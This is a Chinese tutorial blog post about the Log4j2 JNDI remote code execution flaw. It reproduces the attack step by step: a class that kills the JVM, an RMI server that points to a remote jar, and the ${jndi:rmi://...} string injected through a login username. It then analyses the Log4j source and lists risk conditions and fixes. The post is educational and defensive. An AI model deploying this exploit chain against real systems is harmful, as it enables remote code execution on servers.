【紧急】Log4j又发新版2.17.0,只有彻底搞懂漏洞原因,才能以不变应万变,小白也能看懂

本文涉及的产品
日志服务 SLS,月写入数据量 50GB 1个月
简介: 经过一周时间的Log4j2 RCE事件的发酵,事情也变也越来越复杂和有趣,就连 Log4j 官方紧急发布了 2.15.0 版本之后没有过多久,又发声明说 2.15.0 版本也没有完全解决问题,然后进而继续发布了 2.16.0 版本。大家都以为2.16.0是最终终结版本了,没想到才过多久又爆雷,Log4j 2.17.0横空出世。

1 事件背景

经过一周时间的Log4j2 RCE事件的发酵,事情也变也越来越复杂和有趣,就连 Log4j 官方紧急发布了 2.15.0 版本之后没有过多久,又发声明说 2.15.0 版本也没有完全解决问题,然后进而继续发布了 2.16.0 版本。大家都以为2.16.0是最终终结版本了,没想到才过多久又爆雷,Log4j 2.17.0横空出世。

file

相信各位小伙伴都在加班加点熬夜紧急修复和改正Apache Log4j爆出的安全漏洞,各企业都瑟瑟发抖,连网警都通知各位站长,包括我也收到了湖南长沙高新区网警的通知。

file

我也紧急发布了两篇教程,给各位小伙伴支招,我之前发布的教程依然有效。

【紧急】Apache Log4j任意代码执行漏洞安全风险升级修复教程

【紧急】继续折腾,Log4j再发2.16.0,强烈建议升级

file

file

file

file

虽然,各位小伙伴按照教程一步一步操作能快速解决问题,但是很多小伙伴依旧有很多疑惑,不知其所以然。在这里我给大家详细分析并复现一下Log4j2漏洞产生的原因,纯粹是以学习为目的。

Log4j2漏洞总体来说是通过JNDI注入恶意代码来完成攻击,具体的操作方式有RMI和LDAP等。

2 JNDI介绍

2.1 JNDI定义

JNDI(Java Naming and Directory Interface,Java命名和目录接口)是Java中为命名和目录服务提供接口的API,JNDI主要由两部分组成:Naming(命名)和Directory(目录),其中Naming是指将对象通过唯一标识符绑定到一个上下文Context,同时可通过唯一标识符查找获得对象,而Directory主要指将某一对象的属性绑定到Directory的上下文DirContext中,同时可通过名称获取对象的属性,同时也可以操作属性。

2.2 JNDI架构

Java应用程序通过JNDI API访问目录服务,而JNDI API会调用Naming Manager实例化JNDI SPI,然后通过JNDI SPI去操作命名或目录服务其如LDAP, DNS,RMI等,JNDI内部已实现了对LDAP,DNS, RMI等目录服务器的操作API。其架构图如下所示:

file

2.3 JNDI核心API

类名 解释
Context 命名服务的接口类,由很多的name-to-object的健值对组成,可以通过该接口将健值对绑定到该类中,也可通过该类根据name获取其绑定的对象
InitialContextNaming (命名服务)操作的入口类,通过该类可对命名服务进行相关的操作
DirContext Directory目录服务的接口类,该类继承自Context,在Naming服务的基础上扩展了对于对象属性的绑定和获取操作
InitialDirContext Directory目录服务相关操作的入口类,通过该类可进行目录相关服务的操作

Java通过JNDI API去调用服务。例如,我们大家熟悉的odbc数据连接,就是通过JNDI的方式来调用数据源的。以下代码大家应该很熟悉:

<?xml version="1.0" encoding="UTF-8"?>
<Context>
    <Resource name="jndi/person"
            auth="Container"
            type="javax.sql.DataSource"
            username="root"
            password="root"
            driverClassName="com.mysql.jdbc.Driver"
            url="jdbc:mysql://localhost:3306/test"
            maxTotal="8"
            maxIdle="4"/>
</Context>

在Context.xml文件中我们可以定义数据库驱动,url、账号密码等关键信息,其中name这个字段的内容为自定义。下面使用InitialContext对象获取数据源

Connection conn=null; 
PreparedStatement ps = null;
ResultSet rs = null;
try {
   
    
  Context ctx=new InitialContext(); 
  Object datasourceRef=ctx.lookup("java:comp/env/jndi/person"); //引用数据源 
  DataSource ds=(Datasource)datasourceRef; 
  conn = ds.getConnection(); 

  //省略部分代码
  ...

  c.close(); 
} catch(Exception e) {
   
    
  e.printStackTrace(); 
} finally {
   
    
  if(conn!=null) {
   
    
    try {
   
    
      conn.close(); 
    } catch(SQLException e) {
   
    } 
  } 
}

是不是很熟悉呢?JNDI的其他应用在此我就不多做介绍了,如果还不了解JNDI/RMI/LDAP等相关概念的小伙伴请自行百度一下。

3 攻击原理

下面我以RMI的方式为例,详细复现步骤和分析原因。解释基本攻击原理之前,我们先来看一张时序图:

file

1、攻击者首先发布一个RMI服务,此服务将绑定一个引用类型的RMI对象。在引用对象中指定一个远程的含有恶意代码的类。例如:包含 system.exit(1) 等类似的危险操作和恶意代码的下载地址。

2、攻击者再发布另一个恶意代码下载服务,此服务可以下载所有含有恶意代码的类。

3、攻击者利用Log4j2的漏洞注入RMI调用,例如:logger.info("日志信息 ${jndi:rmi://rmi-service:port/example}")。

4、调用RMI后将获取到引用类型的RMI远程对象,该对象将就加载恶意代码并执行。

4 漏洞复现

4.1 创建恶意代码

创建恶意代码相关类,以下代码仅供学习:


package com.tom.example.log4j;

public class HackedClassFactory {
   
   

    public HackedClassFactory(){
   
   
        System.out.println("程序即将终止");
        System.exit(1);
    }
}

创建HackedClassFactory类的定义,在构造函数里写入终止程序运行的恶意代码。

4.2 发布恶意代码

将HackedClassFactory类打成jar包,发布到HTTP服务器上,能通过简单的Get请求正常下载即可。

file

4.3 创建RMI服务

编写如下代码,并运行程序:


package com.tom.example.rmi;

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.util.Hashtable;
import com.sun.jndi.rmi.registry.ReferenceWrapper;

public class HackedRmiService {
   
   

    public static void main(String[] args) {
   
   
        try {
   
   
            int port = 2048;  //设置RMI服务远程监听端口
            //创建并发布RMI服务
            LocateRegistry.createRegistry(port);
            Hashtable<String, Object> env = new Hashtable<String,Object>();
            env.put(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.rmi.registry.RegistryContextFactory");
            env.put(Context.PROVIDER_URL,"rmi://127.0.0.1" + ":" + port);
            Context context = new InitialContext(env);


            String serviceName = "example";
            String serviceClassName = "com.tom.example.log4j.HackedClassFactory";
            //指定恶意代码的下载地址
            Reference refer = new Reference(
                    serviceName,
                    serviceClassName,
                    "http://127.0.0.1/example/classes.jar");
            ReferenceWrapper wrapper = new ReferenceWrapper(refer);

            //为RMI服务绑定一个引用类型的对象,此对象可以被远程访问
            context.bind(serviceName,wrapper);

        }catch (Exception e){
   
   
            e.printStackTrace();
        }
    }
}

RMI服务启动之后,即发布了监听端口为2048的RMI服务。

运行 netstat -ano | find "2048" 命令检验,得到如下结果,说明RMI服务已经正常启动,如下图:

file

4.4 注入恶意代码

下面我们利用Log4j的漏洞注入恶意代码,有已知用户登录的业务场景,小伙伴们先不管它是如何实现的,其代码如下:


@RequestMapping(value="/login")
public ResponseEntity login(String loginName,String loginPass){
   
   

    ResultMsg<?> data = memberService.login(loginName,loginPass);

    //演示代码,省略业务逻辑,默认为登录成功
    log.info("登录成功",loginName);

    String json = JSON.toJSONString(data);

    return ResponseEntity
            .ok()
            .contentType(MediaType.APPLICATION_JSON)
            .body(json);
}

利用Postman测试,首先正常访问能得到期望的结果,如下图所示:

file

用户登录成功后会正常返回token,这看上去是一个常规操作。细心的小伙发现,在登录成功之后,后台会打印一条日志且输出登录的用户名。

file

接下来,我做一个非常规操作。将用户名输入为 ${jndi:rmi://localhost:2048/example}

file

我们发现程序已经无法响应,再看后台日志,已经终止运行。

file

这里仅仅只是演示效果,我编写的恶意代码只是终止程序,如果攻击者注入的是其他恶意代码,那后果将不堪设想。

5 源码分析

通过以上案例还原了攻击者利用Log4j的漏洞对目标程序进行攻击的完整过程,接下来分析一下Log4j的源码从而了解根本原因。其罪魁祸首是Log4j2 的MessagePatternConverter组件中的format()方法,Log4j在记录日志的时候会间接的调用该方法,具体源码如下:

file

从源码中我们可以发现该方法会截取 $ 和 { } 之间的字符串,将该字符作为查找对象的条件。如果字符是 jndi:rmi 这样的协议格式则进行JNDI方式的RMI调用,从而触发原生的RMI服务调用。具体调用位置在StrSubstitutor的substitute()方法:


private int substitute(LogEvent event, StringBuilder buf, int offset, int length, List<String> priorVariables) {
   
   

   //此处省略部分代码
   ...

    this.checkCyclicSubstitution(varName, (List)priorVariables);
    ((List)priorVariables).add(varName);
    String varValue = this.resolveVariable(event, varName, buf, startPos, pos);
    if (varValue == null) {
   
   
        varValue = varDefaultValue;
    }

     //此处省略部分代码
    ...

}

上述代码中的resolveVariable()最终会调用InitialContext的lookup()方法:


protected String resolveVariable(LogEvent event, String variableName, StringBuilder buf, int startPos, int endPos) {
   
   
    StrLookup resolver = this.getVariableResolver();
    return resolver == null ? null : resolver.lookup(event, variableName);
}

通过断点调试,我们确实发现调用了RMI服务,下图所示:

file

最终恶意代码通过RMI加载完成以后,会调用javax.naming.spi.NamingManager的getObjectFactoryFromReference()方法加载恶意代码,也就是我们之前写的com.tom.example.log4j.HackedClassFactory类。首先会在尝试本地找,如果本地找不到会通过远程地址加载,也就是我们发布的下载服务,即http://127.0.0.1/example/classes.jar

file

加载远程代码之后,通过反射调用构造器创建攻击类的实例,而恶意代码编写在构造器中,所以在被攻击者的程序中间接执行了恶意代码。

file

看到这里,小伙伴们是不是有种和SQL注入如出一辙的感觉。

5 风险条件

该漏洞需要满足以下条件才有可能被攻击:

1、首先使用的是Logj4j2的漏洞版本,即 <= 2.14.1的版本。

2、攻击者有机会注入恶意代码,例如系统中记录的日志信息没有任何特殊过滤。

3、攻击者需要发布RMI远程服务和恶意代码下载服务。

4、被攻击者的网络可以访问到RMI服务和恶意代码下载服务,即被攻击者的服务器可以随意访问公网,或者在内网发布过类似的危险服务。

5、被攻击者在JVM中开启了RMI/LDAP等协议的truseURLCodebase属性为ture。

以上就是我对Log4j2 RCE漏洞的完整复现及根本原因分析,当然最高效的方式还是关闭Lookup相关功能。虽然,官方也在紧急修复,但涉及到软件升级存在一定风险,还有可能需要大量的重复测试工作。

我在之前紧急发布的教程依然有效,大家可以继续参照用最高效可靠的方式解决问题。

【紧急】Apache Log4j任意代码执行漏洞安全风险升级修复教程

【紧急】继续折腾,Log4j再发2.16.0,强烈建议升级

关注微信公众号『 Tom弹架构 』回复“Spring”可获取完整源码。

本文为“Tom弹架构”原创,转载请注明出处。技术在于分享,我分享我快乐!如果您有任何建议也可留言评论或私信,您的支持是我坚持创作的动力。关注微信公众号『 Tom弹架构 』可获取更多技术干货!

原创不易,坚持很酷,都看到这里了,小伙伴记得点赞、收藏、在看,一键三连加关注!如果你觉得内容太干,可以分享转发给朋友滋润滋润!

相关实践学习
日志服务之使用Nginx模式采集日志
本文介绍如何通过日志服务控制台创建Nginx模式的Logtail配置快速采集Nginx日志并进行多维度分析。
相关文章
|
安全 Java 开发者
刚折腾完Log4J,又爆Spring RCE核弹级漏洞
继Log4J爆出安全漏洞之后,又在深夜,Spring的github上又更新了一条可能造成RCE(远程命令执行漏洞)的问题代码,随即在国内的安全圈炸开了锅。有安全专家建议升级到JDK 9以上,有些专家又建议回滚到JDK 7以下,一时间小伙伴们不知道该怎么办了。大家来看一段动画演示,怎么改都是“将军"。
118 1
|
运维 安全 Java
Log4j2 远程代码执行漏洞——总结
前两天网络有爆料log4j安全漏洞,安全大于天,于是也加入到这个和时间赛跑的临时事件中。对于安全漏洞网上有很多文章,内容都大同小异,不过针对于这件事小编下面的故事一定能让读者有"意外"收获。
|
安全 Java Shell
Apache Log4j2 远程代码执行漏洞
Apache Log4j2是一个·基于Java的日志记录工具,该工具重写了Log4j框架,并且引入大量丰富的特性,该日志框架被大量用于业务系统开发,用来记录日志信息。
110 2
|
安全 druid Java
【紧急】Apache Log4j任意代码执行漏洞安全风险升级修复教程
近期一个 Apache Log4j 远程代码执行漏洞细节被公开,攻击者利用漏洞可以远程执行代码。经过分析,该组件存在Java JNDI注入漏洞,当程序将用户输入的数据进行日志,即可触发此漏洞,成功利用此漏洞可以在目标服务器上执行任意代码。
368 1
|
安全 Java 大数据
CDH/HDP/CDP等大数据平台中如何快速应对LOG4J的JNDI系列漏洞
CDH/HDP/CDP等大数据平台中如何快速应对LOG4J的JNDI系列漏洞
|
Kubernetes 安全 中间件
Traefik 如何保护应用免受 Log4j2 漏洞的影响
2021 年 12 月 10 日,Apache Log4j2 中的一个被称为 “Log4Shell” 的漏洞被发布(CVE-2021-44228),引入了严重的安全风险。作为 Java 应用程序日志库中的一个核心组件,其广泛用于著名的开源项目以及企业级后端应用程序。在本文中,我们将向您展示 Traefik 如何基于插件系统帮助我们的业务缓解此问题。
152 0
|
23天前
|
XML 安全 Java
【日志框架整合】Slf4j、Log4j、Log4j2、Logback配置模板
本文介绍了Java日志框架的基本概念和使用方法,重点讨论了SLF4J、Log4j、Logback和Log4j2之间的关系及其性能对比。SLF4J作为一个日志抽象层,允许开发者使用统一的日志接口,而Log4j、Logback和Log4j2则是具体的日志实现框架。Log4j2在性能上优于Logback,推荐在新项目中使用。文章还详细说明了如何在Spring Boot项目中配置Log4j2和Logback,以及如何使用Lombok简化日志记录。最后,提供了一些日志配置的最佳实践,包括滚动日志、统一日志格式和提高日志性能的方法。
170 30
【日志框架整合】Slf4j、Log4j、Log4j2、Logback配置模板
|
2月前
|
XML JSON Java
Logback 与 log4j2 性能对比:谁才是日志框架的性能王者?
【10月更文挑战第5天】在Java开发中,日志框架是不可或缺的工具,它们帮助我们记录系统运行时的信息、警告和错误,对于开发人员来说至关重要。在众多日志框架中,Logback和log4j2以其卓越的性能和丰富的功能脱颖而出,成为开发者们的首选。本文将深入探讨Logback与log4j2在性能方面的对比,通过详细的分析和实例,帮助大家理解两者之间的性能差异,以便在实际项目中做出更明智的选择。
253 3
|
2月前
|
存储 缓存 关系型数据库
MySQL事务日志-Redo Log工作原理分析
事务的隔离性和原子性分别通过锁和事务日志实现,而持久性则依赖于事务日志中的`Redo Log`。在MySQL中,`Redo Log`确保已提交事务的数据能持久保存,即使系统崩溃也能通过重做日志恢复数据。其工作原理是记录数据在内存中的更改,待事务提交时写入磁盘。此外,`Redo Log`采用简单的物理日志格式和高效的顺序IO,确保快速提交。通过不同的落盘策略,可在性能和安全性之间做出权衡。
1650 14
|
2月前
|
Python
log日志学习
【10月更文挑战第9天】 python处理log打印模块log的使用和介绍
35 0